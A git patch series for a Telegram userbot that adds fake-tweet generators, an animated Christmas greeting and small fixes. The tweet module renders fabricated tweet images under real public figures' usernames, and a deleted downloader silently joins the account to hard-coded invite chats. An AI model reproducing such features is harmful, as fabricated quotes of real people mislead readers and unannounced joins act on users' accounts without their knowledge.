+#@register(outgoing=True, pattern="^.waifu(?: |$)(.*)")
+
+@borg.on(admin_cmd(outgoing=True, pattern="waifu ?(.*)"))
+async def waifu(danish):
+#"""Generate random waifu sticker with the text!"""
+
+ text = danish.pattern_match.group(1)
+ if not text:
+ if danish.is_reply:
+ text = (await danish.get_reply_message()).message
+ else:
+ await danish.answer("`No text given.`")
+ return
+ king = [ 32, 33, 37, 40, 41, 42, 58, 20]
+ sticcers = await bot.inline_query(
+ "stickerizerbot", f"#{random.choice(king)}{(deEmojify(text))}")
+ await sticcers[0].click(danish.chat_id,
+ reply_to=danish.reply_to_msg_id,
+ silent=True if danish.is_reply else False,
+ hide_via=True)
+ await danish.delete()
+
+
+#@register(outgoing=True, pattern=r"\.tweet(?: |$)(.*)")
+@borg.on(admin_cmd(outgoing=True, pattern="tweet ?(.*)"))
+async def tweet(event):
+ text = event.pattern_match.group(1)
+ text = re.sub("&", "", text)
+ reply_to_id = event.message
+ if event.reply_to_msg_id:
+ reply_to_id = await event.get_reply_message()
+ if not text:
+ if event.is_reply:
+ if not reply_to_id.media:
+ text = reply_to_id.message
+ else:
+ await event.edit("`What should i tweet? Give your username and tweet!`")
+ return
+ else:
+ await event.edit("What should i tweet? Give your username and tweet!`")
+ return
+ if "." in text:
+ username, text = text.split(".")
+ else:
+ await event.edit("`What should i tweet? Give your username and tweet!`")
+ await event.edit(f"`Requesting {username} to tweet...`")
+ text = deEmojify(text)
+ img = await tweets(text, username)
+ await event.client.send_file(event.chat_id, img, reply_to=reply_to_id)
+ await event.delete()
+ await purge()
+
+
+@borg.on(admin_cmd(pattern="tweetme(?: |$)(.*)"))
+async def tweetme(okie):
+#"""Creates random anime sticker!"""
+ what = okie.pattern_match.group(1)
+ if not what:
+ if okie.is_reply:
+ what = (await okie.get_reply_message()).message
+ else:
+ await okie.edit("`Tweets must contain some text, pero!`")
+ return
+ sticcers = await bot.inline_query(
+ "TwitterStatusBot", f"{(deEmojify(what))}")
+ await sticcers[0].click(okie.chat_id,
+ reply_to=okie.reply_to_msg_id,
+ silent=True if okie.is_reply else False,
+ hide_via=True)
+ await okie.delete()
+
+CMD_HELP.update({
+
+ "tweet": ".tweet ."
+ "\nUsage Create tweet with custom username.\n\n"
+ ".trump "
+ "\nUsage Create tweet for Donald Trump.\n\n"
+ ".sunny "
+ "\nUsage Create tweet for Sunny Leone.\n\n"
+ ".johnny "
+ "\nUsage Create tweet for Johnny Sins.\n\n"
+ ".bhau "
+ "\nUsage Create tweet for Hindustani bhau.\n\n"
+ ".modi "
+ "\nUsage: Create tweet for Modi .\n\n"
+ ".tweetme "
+ "\nUsage Create tweet from u in dark theme.\n\n"
+ ".cmm "
+ "\nUsage Create banner for Change My Mind.\n\n"
+ ".waifu "
+ "\nUsage Random anime girl stickers.\n\n"
+ ".type "
+ "\nUsage random sticker is writing your text."
+ }
+)
From adb8d19927a738db35c14e233c57540ead15b6ae Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 07:38:42 +0530
Subject: [PATCH 148/838] Create tweet.py
---
fridaybot/tweet.py | 92 ++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 92 insertions(+)
create mode 100644 fridaybot/tweet.py
diff --git a/fridaybot/tweet.py b/fridaybot/tweet.py
new file mode 100644
index 00000000..75995e98
--- /dev/null
+++ b/fridaybot/tweet.py
@@ -0,0 +1,92 @@
+import os
+import re
+import urllib.request
+import PIL.ImageOps
+import requests
+from PIL import Image, ImageDraw, ImageFont
+from validators.url import url
+
+async def moditweet(text):
+ r = requests.get(
+ f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=narendramodi"
+ ).json()
+ dc = r.get("message")
+ cobra = url(dc)
+ if not cobra:
+ return "check syntax once more"
+ with open("hehe.png", "wb") as f:
+ f.write(requests.get(dc).content)
+ img = Image.open("hehe.png").convert("RGB")
+ img.save("hehe.webp", "webp")
+ return "hehe.webp"
+
+
+async def sunnytweet(text):
+ r = requests.get(
+ f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=sunnyleone"
+ ).json()
+ dc = r.get("message")
+ cobra = url(dc)
+ if not cobra:
+ return "check syntax once more"
+ with open("hehe.png", "wb") as f:
+ f.write(requests.get(dc).content)
+ img = Image.open("hehe.png").convert("RGB")
+ img.save("hehe.webp", "webp")
+ return "hehe.webp"
+
+async def johnnytweet(text):
+ r = requests.get(
+ f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=johnnysins"
+ ).json()
+ dc = r.get("message")
+ cobra = url(dc)
+ if not cobra:
+ return "check syntax once more"
+ with open("hehe.png", "wb") as f:
+ f.write(requests.get(dc).content)
+ img = Image.open("hehe.png").convert("RGB")
+ img.save("hehe.webp", "webp")
+ return "hehe.webp"
+
+async def bhautweet(text):
+ r = requests.get(
+ f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=hindustanibhau"
+ ).json()
+ ab = r.get("message")
+ cd = url(ab)
+ if not cd:
+ return "check syntax once more"
+ with open("hoho.png", "wb") as f:
+ f.write(requests.get(ab).content)
+ img = Image.open("hoho.png").convert("RGB")
+ img.save("hoho.webp", "webp")
+ return "hoho.webp"
+
+async def jtweet(text):
+ r = requests.get(
+ f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=the_joker"
+ ).json()
+ ab = r.get("message")
+ cd = url(ab)
+ if not cd:
+ return "check syntax once more"
+ with open("hoho.png", "wb") as f:
+ f.write(requests.get(ab).content)
+ img = Image.open("hoho.png").convert("RGB")
+ img.save("hoho.webp", "webp")
+ return "hoho.webp"
+
+async def miatweet(text):
+ r = requests.get(
+ f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=miakhalifa"
+ ).json()
+ ab = r.get("message")
+ cd = url(ab)
+ if not cd:
+ return "check syntax once more"
+ with open("hoho.png", "wb") as f:
+ f.write(requests.get(ab).content)
+ img = Image.open("hoho.png").convert("RGB")
+ img.save("hoho.webp", "webp")
+ return "hoho.webp"
From 0428c92f77d0ac3a76ae7acb3d15e73d89f5a7fb Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 07:40:34 +0530
Subject: [PATCH 149/838] Create merrychristmas.py
---
fridaybot/merrychristmas.py | 173 ++++++++++++++++++++++++++++++++++++
1 file changed, 173 insertions(+)
create mode 100644 fridaybot/merrychristmas.py
diff --git a/fridaybot/merrychristmas.py b/fridaybot/merrychristmas.py
new file mode 100644
index 00000000..d013de5d
--- /dev/null
+++ b/fridaybot/merrychristmas.py
@@ -0,0 +1,173 @@
+from telethon import events
+from asyncio import sleep
+import os, sys, random, re
+from ..utils import admin_cmd
+from fridayuserbot import bot
+
+img1=("https://t.me/danish2512/2")
+img2=("https://t.me/danish2512/3")
+img3=("https://t.me/danish2512/4")
+img4=("https://t.me/danish2512/5")
+img5=("https://t.me/danish2512/6")
+img6=("https://t.me/danish2512/7")
+img7=("https://t.me/danish2512/8")
+img8=("https://t.me/danish2512/9")
+img9=("https://t.me/danish2512/10")
+img10=("https://t.me/danish2512/11")
+img11=("https://t.me/danish2512/12")
+img12=("https://t.me/danish2512/13")
+img13=("https://t.me/danish2512/14")
+img14=("https://t.me/danish2512/15")
+img15=("https://t.me/danish2512/16")
+img16=("https://t.me/danish2512/17")
+img17=("https://t.me/danish2512/18")
+img18=("https://t.me/danish2512/19")
+img19=("https://t.me/danish2512/20")
+img20=("https://t.me/danish2512/21")
+img21=("https://t.me/danish2512/22")
+img22=("https://t.me/danish2512/23")
+img23=("https://t.me/danish2512/24")
+img24=("https://t.me/danish2512/25")
+img25=("https://t.me/danish2512/26")
+img26=("https://t.me/danish2512/27")
+img27=("https://t.me/danish2512/28")
+img28=("https://t.me/danish2512/29")
+img29=("https://t.me/danish2512/30")
+img30=("https://t.me/danish2512/31")
+
+@borg.on(admin_cmd(outgoing=True, pattern="mc"))
+
+async def _(event):
+
+ if event.fwd_from:
+ return
+ await event.edit("**.\n\n😊 ℍ𝕠 ℍ𝕠 ℍ𝕠... 🎅🏻\n\n.**")
+ await sleep(1.6)
+ await event.edit("🎉")
+ await sleep(3)
+ await event.edit("🎊")
+ await sleep(3)
+ await event.edit("💔")
+ await sleep(1.5)
+ await event.edit("❤")
+ await sleep(3)
+ await event.edit(".\n\n\n😊𝓜𝓔𝓡𝓡𝓨 𝓒𝓗𝓡𝓘𝓢𝓣𝓜𝓐𝓢😁\n\n\n.")
+ await sleep(3)
+ await event.edit("🥳")
+ await sleep(3.3)
+ await event.edit("⛄")
+ await sleep(3.4)
+ await event.edit("🌨🌨🌨🌨🌨\n\n❄❄❄❄❄\n❄️❄️❄️❄️❄️")
+ await sleep(2.8)
+ await event.edit("☃️")
+ await sleep(3.7)
+ await event.edit("🥶")
+ await sleep(3.7)
+ await event.edit("🎄")
+ await sleep(3.2)
+ await event.edit(".\n\n\n**𝐌𝒆𝒓𝒓𝒚 𝑪𝒉𝒊𝒔𝒕𝒎𝒂𝒔😊😊**\n\n\n.")
+ await sleep(2.9)
+ danish = await bot.send_file(event.chat_id,"https://t.me/mcmc2021/36")
+ await sleep(4)
+ x=(random.randrange(0,30))
+ if x==1:
+ await bot.send_file(event.chat_id,img1)
+
+ if x==2:
+ await bot.send_file(event.chat_id,img2)
+
+ if x==3:
+ await bot.send_file(event.chat_id,img3)
+
+ if x==4:
+ await bot.send_file(event.chat_id,img4)
+
+ if x==5:
+ await bot.send_file(event.chat_id,img5)
+
+ if x==6:
+ await bot.send_file(event.chat_id,img6)
+
+ if x==7:
+ await bot.send_file(event.chat_id,img7)
+
+ if x==8:
+ await bot.send_file(event.chat_id,img8)
+
+ if x==9:
+ await bot.send_file(event.chat_id,img9)
+
+ if x==10:
+ await bot.send_file(event.chat_id,img10)
+
+ if x==11:
+ await bot.send_file(event.chat_id,img11)
+
+ if x==12:
+ await bot.send_file(event.chat_id,img12)
+
+ if x==13:
+ await bot.send_file(event.chat_id,img13)
+
+ if x==14:
+ await bot.send_file(event.chat_id,img14)
+
+ if x==15:
+ await bot.send_file(event.chat_id,img15)
+
+ if x==16.:
+ await bot.send_file(event.chat_id,img16)
+
+
+ if x==17:
+ await bot.send_file(event.chat_id,img17)
+
+ if x==18:
+ await bot.send_file(event.chat_id,img18)
+
+ if x==19:
+ await bot.send_file(event.chat_id,img19)
+
+ if x==20:
+ await bot.send_file(event.chat_id,img20)
+
+ if x==21:
+ await bot.send_file(event.chat_id,img21)
+
+ if x==22:
+ await bot.send_file(event.chat_id,img22)
+
+
+ if x==23:
+ await bot.send_file(event.chat_id,img23)
+
+
+ if x==24:
+ await bot.send_file(event.chat_id,img24)
+
+
+ if x==25:
+ await bot.send_file(event.chat_id,img25)
+
+
+ if x==26:
+ await bot.send_file(event.chat_id,img26)
+
+
+ if x==27:
+ await bot.send_file(event.chat_id,img27)
+
+
+ if x==28:
+ await bot.send_file(event.chat_id,img28)
+
+
+ if x==29:
+ await bot.send_file(event.chat_id,img29)
+
+
+ if x==30:
+ await bot.send_file(event.chat_id,img30)
+
+
+
From 3cabeb9fe8b9828337a8adff15e9177445a82e5d Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 07:45:33 +0530
Subject: [PATCH 150/838] Update tweet.py
---
fridaybot/modules/tweet.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/tweet.py b/fridaybot/modules/tweet.py
index 68629e23..2d2a0d79 100644
--- a/fridaybot/modules/tweet.py
+++ b/fridaybot/modules/tweet.py
@@ -7,7 +7,7 @@
import random
import time
from telethon import events
-from userbot import bot
+from fridaybot import bot
from collections import deque
import sys
import html
From c0928b34718b015ab8a7bdcd85d8dac9965578e8 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 07:51:32 +0530
Subject: [PATCH 151/838] Delete merrychristmas.py
---
fridaybot/merrychristmas.py | 173 ------------------------------------
1 file changed, 173 deletions(-)
delete mode 100644 fridaybot/merrychristmas.py
diff --git a/fridaybot/merrychristmas.py b/fridaybot/merrychristmas.py
deleted file mode 100644
index d013de5d..00000000
--- a/fridaybot/merrychristmas.py
+++ /dev/null
@@ -1,173 +0,0 @@
-from telethon import events
-from asyncio import sleep
-import os, sys, random, re
-from ..utils import admin_cmd
-from fridayuserbot import bot
-
-img1=("https://t.me/danish2512/2")
-img2=("https://t.me/danish2512/3")
-img3=("https://t.me/danish2512/4")
-img4=("https://t.me/danish2512/5")
-img5=("https://t.me/danish2512/6")
-img6=("https://t.me/danish2512/7")
-img7=("https://t.me/danish2512/8")
-img8=("https://t.me/danish2512/9")
-img9=("https://t.me/danish2512/10")
-img10=("https://t.me/danish2512/11")
-img11=("https://t.me/danish2512/12")
-img12=("https://t.me/danish2512/13")
-img13=("https://t.me/danish2512/14")
-img14=("https://t.me/danish2512/15")
-img15=("https://t.me/danish2512/16")
-img16=("https://t.me/danish2512/17")
-img17=("https://t.me/danish2512/18")
-img18=("https://t.me/danish2512/19")
-img19=("https://t.me/danish2512/20")
-img20=("https://t.me/danish2512/21")
-img21=("https://t.me/danish2512/22")
-img22=("https://t.me/danish2512/23")
-img23=("https://t.me/danish2512/24")
-img24=("https://t.me/danish2512/25")
-img25=("https://t.me/danish2512/26")
-img26=("https://t.me/danish2512/27")
-img27=("https://t.me/danish2512/28")
-img28=("https://t.me/danish2512/29")
-img29=("https://t.me/danish2512/30")
-img30=("https://t.me/danish2512/31")
-
-@borg.on(admin_cmd(outgoing=True, pattern="mc"))
-
-async def _(event):
-
- if event.fwd_from:
- return
- await event.edit("**.\n\n😊 ℍ𝕠 ℍ𝕠 ℍ𝕠... 🎅🏻\n\n.**")
- await sleep(1.6)
- await event.edit("🎉")
- await sleep(3)
- await event.edit("🎊")
- await sleep(3)
- await event.edit("💔")
- await sleep(1.5)
- await event.edit("❤")
- await sleep(3)
- await event.edit(".\n\n\n😊𝓜𝓔𝓡𝓡𝓨 𝓒𝓗𝓡𝓘𝓢𝓣𝓜𝓐𝓢😁\n\n\n.")
- await sleep(3)
- await event.edit("🥳")
- await sleep(3.3)
- await event.edit("⛄")
- await sleep(3.4)
- await event.edit("🌨🌨🌨🌨🌨\n\n❄❄❄❄❄\n❄️❄️❄️❄️❄️")
- await sleep(2.8)
- await event.edit("☃️")
- await sleep(3.7)
- await event.edit("🥶")
- await sleep(3.7)
- await event.edit("🎄")
- await sleep(3.2)
- await event.edit(".\n\n\n**𝐌𝒆𝒓𝒓𝒚 𝑪𝒉𝒊𝒔𝒕𝒎𝒂𝒔😊😊**\n\n\n.")
- await sleep(2.9)
- danish = await bot.send_file(event.chat_id,"https://t.me/mcmc2021/36")
- await sleep(4)
- x=(random.randrange(0,30))
- if x==1:
- await bot.send_file(event.chat_id,img1)
-
- if x==2:
- await bot.send_file(event.chat_id,img2)
-
- if x==3:
- await bot.send_file(event.chat_id,img3)
-
- if x==4:
- await bot.send_file(event.chat_id,img4)
-
- if x==5:
- await bot.send_file(event.chat_id,img5)
-
- if x==6:
- await bot.send_file(event.chat_id,img6)
-
- if x==7:
- await bot.send_file(event.chat_id,img7)
-
- if x==8:
- await bot.send_file(event.chat_id,img8)
-
- if x==9:
- await bot.send_file(event.chat_id,img9)
-
- if x==10:
- await bot.send_file(event.chat_id,img10)
-
- if x==11:
- await bot.send_file(event.chat_id,img11)
-
- if x==12:
- await bot.send_file(event.chat_id,img12)
-
- if x==13:
- await bot.send_file(event.chat_id,img13)
-
- if x==14:
- await bot.send_file(event.chat_id,img14)
-
- if x==15:
- await bot.send_file(event.chat_id,img15)
-
- if x==16.:
- await bot.send_file(event.chat_id,img16)
-
-
- if x==17:
- await bot.send_file(event.chat_id,img17)
-
- if x==18:
- await bot.send_file(event.chat_id,img18)
-
- if x==19:
- await bot.send_file(event.chat_id,img19)
-
- if x==20:
- await bot.send_file(event.chat_id,img20)
-
- if x==21:
- await bot.send_file(event.chat_id,img21)
-
- if x==22:
- await bot.send_file(event.chat_id,img22)
-
-
- if x==23:
- await bot.send_file(event.chat_id,img23)
-
-
- if x==24:
- await bot.send_file(event.chat_id,img24)
-
-
- if x==25:
- await bot.send_file(event.chat_id,img25)
-
-
- if x==26:
- await bot.send_file(event.chat_id,img26)
-
-
- if x==27:
- await bot.send_file(event.chat_id,img27)
-
-
- if x==28:
- await bot.send_file(event.chat_id,img28)
-
-
- if x==29:
- await bot.send_file(event.chat_id,img29)
-
-
- if x==30:
- await bot.send_file(event.chat_id,img30)
-
-
-
From 6632323a500c50501107e2059f6016f77754c8fc Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 07:52:26 +0530
Subject: [PATCH 152/838] Merry Christmas Guys
---
fridaybot/modules/merrychristmas.py | 173 ++++++++++++++++++++++++++++
1 file changed, 173 insertions(+)
create mode 100644 fridaybot/modules/merrychristmas.py
diff --git a/fridaybot/modules/merrychristmas.py b/fridaybot/modules/merrychristmas.py
new file mode 100644
index 00000000..7c6481a6
--- /dev/null
+++ b/fridaybot/modules/merrychristmas.py
@@ -0,0 +1,173 @@
+from telethon import events
+from asyncio import sleep
+import os, sys, random, re
+from ..utils import admin_cmd
+from fridayuserbot import bot
+
+img1=("https://t.me/danish2512/2")
+img2=("https://t.me/danish2512/3")
+img3=("https://t.me/danish2512/4")
+img4=("https://t.me/danish2512/5")
+img5=("https://t.me/danish2512/6")
+img6=("https://t.me/danish2512/7")
+img7=("https://t.me/danish2512/8")
+img8=("https://t.me/danish2512/9")
+img9=("https://t.me/danish2512/10")
+img10=("https://t.me/danish2512/11")
+img11=("https://t.me/danish2512/12")
+img12=("https://t.me/danish2512/13")
+img13=("https://t.me/danish2512/14")
+img14=("https://t.me/danish2512/15")
+img15=("https://t.me/danish2512/16")
+img16=("https://t.me/danish2512/17")
+img17=("https://t.me/danish2512/18")
+img18=("https://t.me/danish2512/19")
+img19=("https://t.me/danish2512/20")
+img20=("https://t.me/danish2512/21")
+img21=("https://t.me/danish2512/22")
+img22=("https://t.me/danish2512/23")
+img23=("https://t.me/danish2512/24")
+img24=("https://t.me/danish2512/25")
+img25=("https://t.me/danish2512/26")
+img26=("https://t.me/danish2512/27")
+img27=("https://t.me/danish2512/28")
+img28=("https://t.me/danish2512/29")
+img29=("https://t.me/danish2512/30")
+img30=("https://t.me/danish2512/31")
+
+@borg.on(admin_cmd(outgoing=True, pattern="merrychristmas"))
+
+async def _(event):
+
+ if event.fwd_from:
+ return
+ await event.edit("**.\n\n😊 ℍ𝕠 ℍ𝕠 ℍ𝕠... 🎅🏻\n\n.**")
+ await sleep(1.6)
+ await event.edit("🎉")
+ await sleep(3)
+ await event.edit("🎊")
+ await sleep(3)
+ await event.edit("💔")
+ await sleep(1.5)
+ await event.edit("❤")
+ await sleep(3)
+ await event.edit(".\n\n\n😊𝓜𝓔𝓡𝓡𝓨 𝓒𝓗𝓡𝓘𝓢𝓣𝓜𝓐𝓢😁\n\n\n.")
+ await sleep(3)
+ await event.edit("🥳")
+ await sleep(3.3)
+ await event.edit("⛄")
+ await sleep(3.4)
+ await event.edit("🌨🌨🌨🌨🌨\n\n❄❄❄❄❄\n❄️❄️❄️❄️❄️")
+ await sleep(2.8)
+ await event.edit("☃️")
+ await sleep(3.7)
+ await event.edit("🥶")
+ await sleep(3.7)
+ await event.edit("🎄")
+ await sleep(3.2)
+ await event.edit(".\n\n\n**𝐌𝒆𝒓𝒓𝒚 𝑪𝒉𝒊𝒔𝒕𝒎𝒂𝒔😊😊**\n\n\n.")
+ await sleep(2.9)
+ danish = await bot.send_file(event.chat_id,"https://t.me/mcmc2021/36")
+ await sleep(4)
+ x=(random.randrange(0,30))
+ if x==1:
+ await bot.send_file(event.chat_id,img1)
+
+ if x==2:
+ await bot.send_file(event.chat_id,img2)
+
+ if x==3:
+ await bot.send_file(event.chat_id,img3)
+
+ if x==4:
+ await bot.send_file(event.chat_id,img4)
+
+ if x==5:
+ await bot.send_file(event.chat_id,img5)
+
+ if x==6:
+ await bot.send_file(event.chat_id,img6)
+
+ if x==7:
+ await bot.send_file(event.chat_id,img7)
+
+ if x==8:
+ await bot.send_file(event.chat_id,img8)
+
+ if x==9:
+ await bot.send_file(event.chat_id,img9)
+
+ if x==10:
+ await bot.send_file(event.chat_id,img10)
+
+ if x==11:
+ await bot.send_file(event.chat_id,img11)
+
+ if x==12:
+ await bot.send_file(event.chat_id,img12)
+
+ if x==13:
+ await bot.send_file(event.chat_id,img13)
+
+ if x==14:
+ await bot.send_file(event.chat_id,img14)
+
+ if x==15:
+ await bot.send_file(event.chat_id,img15)
+
+ if x==16.:
+ await bot.send_file(event.chat_id,img16)
+
+
+ if x==17:
+ await bot.send_file(event.chat_id,img17)
+
+ if x==18:
+ await bot.send_file(event.chat_id,img18)
+
+ if x==19:
+ await bot.send_file(event.chat_id,img19)
+
+ if x==20:
+ await bot.send_file(event.chat_id,img20)
+
+ if x==21:
+ await bot.send_file(event.chat_id,img21)
+
+ if x==22:
+ await bot.send_file(event.chat_id,img22)
+
+
+ if x==23:
+ await bot.send_file(event.chat_id,img23)
+
+
+ if x==24:
+ await bot.send_file(event.chat_id,img24)
+
+
+ if x==25:
+ await bot.send_file(event.chat_id,img25)
+
+
+ if x==26:
+ await bot.send_file(event.chat_id,img26)
+
+
+ if x==27:
+ await bot.send_file(event.chat_id,img27)
+
+
+ if x==28:
+ await bot.send_file(event.chat_id,img28)
+
+
+ if x==29:
+ await bot.send_file(event.chat_id,img29)
+
+
+ if x==30:
+ await bot.send_file(event.chat_id,img30)
+
+
+
From a6f35b1653a75a37515d139692c2705881821afb Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 07:54:35 +0530
Subject: [PATCH 153/838] Update merrychristmas.py
---
fridaybot/modules/merrychristmas.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/merrychristmas.py b/fridaybot/modules/merrychristmas.py
index 7c6481a6..540a30ee 100644
--- a/fridaybot/modules/merrychristmas.py
+++ b/fridaybot/modules/merrychristmas.py
@@ -2,7 +2,7 @@
from asyncio import sleep
import os, sys, random, re
from ..utils import admin_cmd
-from fridayuserbot import bot
+from fridaybot import bot
img1=("https://t.me/danish2512/2")
img2=("https://t.me/danish2512/3")
From 1ab3f9783b5f0b449e9b84407ca9285001b8f66a Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 11:37:55 +0530
Subject: [PATCH 154/838] Delete pornhubD.py
---
fridaybot/modules/pornhubD.py | 67 -----------------------------------
1 file changed, 67 deletions(-)
delete mode 100644 fridaybot/modules/pornhubD.py
diff --git a/fridaybot/modules/pornhubD.py b/fridaybot/modules/pornhubD.py
deleted file mode 100644
index a0645fc8..00000000
--- a/fridaybot/modules/pornhubD.py
+++ /dev/null
@@ -1,67 +0,0 @@
-"""
-Pornhub downloader by @ceowhitehatcracks
-Syntax: .phd link
-"""
-import datetime
-import asyncio
-import requests
-from bs4 import BeautifulSoup
-import os
-from pySmartDL import SmartDL
-from telethon import events
-from telethon.tl.functions.channels import JoinChannelRequest
-from telethon.errors.rpcerrorlist import YouBlockedUserError, UserAlreadyParticipantError
-from telethon.tl.functions.account import UpdateNotifySettingsRequest
-from telethon.tl.functions.messages import ImportChatInviteRequest
-from ..utils import admin_cmd
-
-@borg.on(admin_cmd("phd2 ?(.*)"))
-async def _(event):
- if event.fwd_from:
- return
- d_link = event.pattern_match.group(1)
- bot = "@phsavebot"
- r = requests.get(d_link)
- soup = BeautifulSoup(r.content, 'html.parser')
- temporary_variable = soup.find("span", {"class": "inlineFree"})
- title = temporary_variable.text
- temp = soup.find("div", {"class": "thumbnail"})
- view = soup.find("span", {"class": "count"})
- views = view.text
- temporary_variable_to_use = temp.find("img")
- thumb_image_link = temporary_variable_to_use["data-src"]
- if "pornhub" not in d_link:
- await event.edit("` I need a link to download something pro.`**(._.)**")
- else:
- await event.edit("**💦Preparing to upload Video💦 **\n**Title**: `{}`\n**Total Views**: `{}`".format(title, views))
- await asyncio.sleep(2)
-
-
- async with event.client.conversation("@phsavebot") as conv:
- try:
- await conv.send_message("/start")
- oop = await conv.get_response()
- if "language" in oop.text:
- await borg.send_message(event.chat_id, "**Please go to** @phsavebot **and select your language**")
- await asyncio.sleep(2)
- me = await borg.get_me()
- my_id = me.id
- # Necessary for the bot to work ;-;
- try:
- await borg(ImportChatInviteRequest('AAAAAFbNNkKLy3gleaD5sA'))
- await borg(ImportChatInviteRequest('AAAAAFZPuYvdW1A8mrT8Pg'))
- except UserAlreadyParticipantError:
- await asyncio.sleep(0.00000069420)
- await conv.send_message(d_link)
- response = await conv.get_response()
- if "Downloading" in response.text:
- video_hehe = await conv.get_response()
- await borg.send_file(event.chat_id, video_hehe, caption="`🤤 Video Uploaded by` [VirtualUserbot](https://github.com/inukaasith/virtualuserbot)!🤤\n**Title:** `{}`".format(title))
- elif "Unfortunately" in response.text:
- await event.edit("`Woops, Incorrect link!`\n**Please check and try again.**")
- elif "correct" in response.text:
- await borg.send_message(event.chat_id, response.text)
- except YouBlockedUserError:
- await event.reply("**Please unblock** @phsavebot **and try again**")
- return
-
From 0661ee2115f567a1480b232f8f7a1d2a7432dc53 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 11:51:15 +0530
Subject: [PATCH 155/838] Update Dockerfile
---
Dockerfile | 1 +
1 file changed, 1 insertion(+)
diff --git a/Dockerfile b/Dockerfile
index 274d672e..bc7e0d21 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -61,6 +61,7 @@ RUN axel https://chromedriver.storage.googleapis.com/86.0.4240.22/chromedriver_l
RUN wget -O opencv.zip https://github.com/opencv/opencv/archive/master.zip && unzip opencv.zip && mv -f opencv-master /usr/bin/ && rm opencv.zip
RUN git clone https://github.com/inukaasith/virtualuserbot /root/fridaybot
RUN mkdir /root/fridaybot/bin/
+RUN mkdir /root/fridaybot/bin/megadown
WORKDIR /root/fridaybot/
RUN chmod +x /usr/local/bin/*
RUN pip3 install -r requirements.txt
From 82aa1c8effb9bf45f9a389a61d50c9596765fb15 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 12:05:42 +0530
Subject: [PATCH 156/838] Delete audio.py
---
fridaybot/modules/audio.py | 35 -----------------------------------
1 file changed, 35 deletions(-)
delete mode 100644 fridaybot/modules/audio.py
diff --git a/fridaybot/modules/audio.py b/fridaybot/modules/audio.py
deleted file mode 100644
index de2ea4f1..00000000
--- a/fridaybot/modules/audio.py
+++ /dev/null
@@ -1,35 +0,0 @@
-import datetime
-from telethon import events
-from telethon.errors.rpcerrorlist import YouBlockedUserError
-from telethon.tl.functions.account import UpdateNotifySettingsRequest
-from ..utils import admin_cmd
-
-@borg.on(admin_cmd("audio ?(.*)"))
-async def _(event):
- if event.fwd_from:
- return
- if not event.reply_to_msg_id:
- await event.edit("```Reply to any user message.```")
- return
- reply_message = await event.get_reply_message()
- if not reply_message.text:
- await event.edit("```reply to text message```")
- return
- chat = "@AudioTubeBot"
- sender = reply_message.sender
- if reply_message.sender.bot:
- await event.edit("```Reply to actual users message.```")
- return
- await event.edit("```Processing```")
- async with borg.conversation(chat) as conv:
- try:
- response = conv.wait_event(events.NewMessage(incoming=True,from_users=507379365))
- await borg.send_message(chat, reply_message)
- response = await response
- except YouBlockedUserError:
- await event.reply("```Please unblock @sangmatainfo_bot and try again```")
- return
- if response.text.startswith("🌐"):
- await event.edit("```can you kindly disable your forward privacy settings for good?```")
- else:
- await borg.send_file(event.chat_id, response.message.message.media)
From 1d85a1ff0df67628026dc961c7dd9971161432aa Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 12:28:46 +0530
Subject: [PATCH 157/838] Update mega.py
---
fridaybot/modules/mega.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/mega.py b/fridaybot/modules/mega.py
index 911f6d00..77cf062a 100644
--- a/fridaybot/modules/mega.py
+++ b/fridaybot/modules/mega.py
@@ -77,7 +77,7 @@ async def mega_downloader(megadl):
except IndexError:
await megadl.edit("`MEGA.nz link not found...`")
return None
- cmd = f"bin/megadown -q -m {link}"
+ cmd = f"DOWNLOADS -q -m {link}"
result = await subprocess_run(megadl, cmd)
try:
data = json.loads(result[0])
From 480a323f7037ec9fbf4c3f94542a1d310f2a1e0e Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 12:37:03 +0530
Subject: [PATCH 158/838] Update mega.py
---
fridaybot/modules/mega.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/mega.py b/fridaybot/modules/mega.py
index 77cf062a..dc8e96b2 100644
--- a/fridaybot/modules/mega.py
+++ b/fridaybot/modules/mega.py
@@ -77,7 +77,7 @@ async def mega_downloader(megadl):
except IndexError:
await megadl.edit("`MEGA.nz link not found...`")
return None
- cmd = f"DOWNLOADS -q -m {link}"
+ cmd = f"./DOWNLOADS -q -m {link}"
result = await subprocess_run(megadl, cmd)
try:
data = json.loads(result[0])
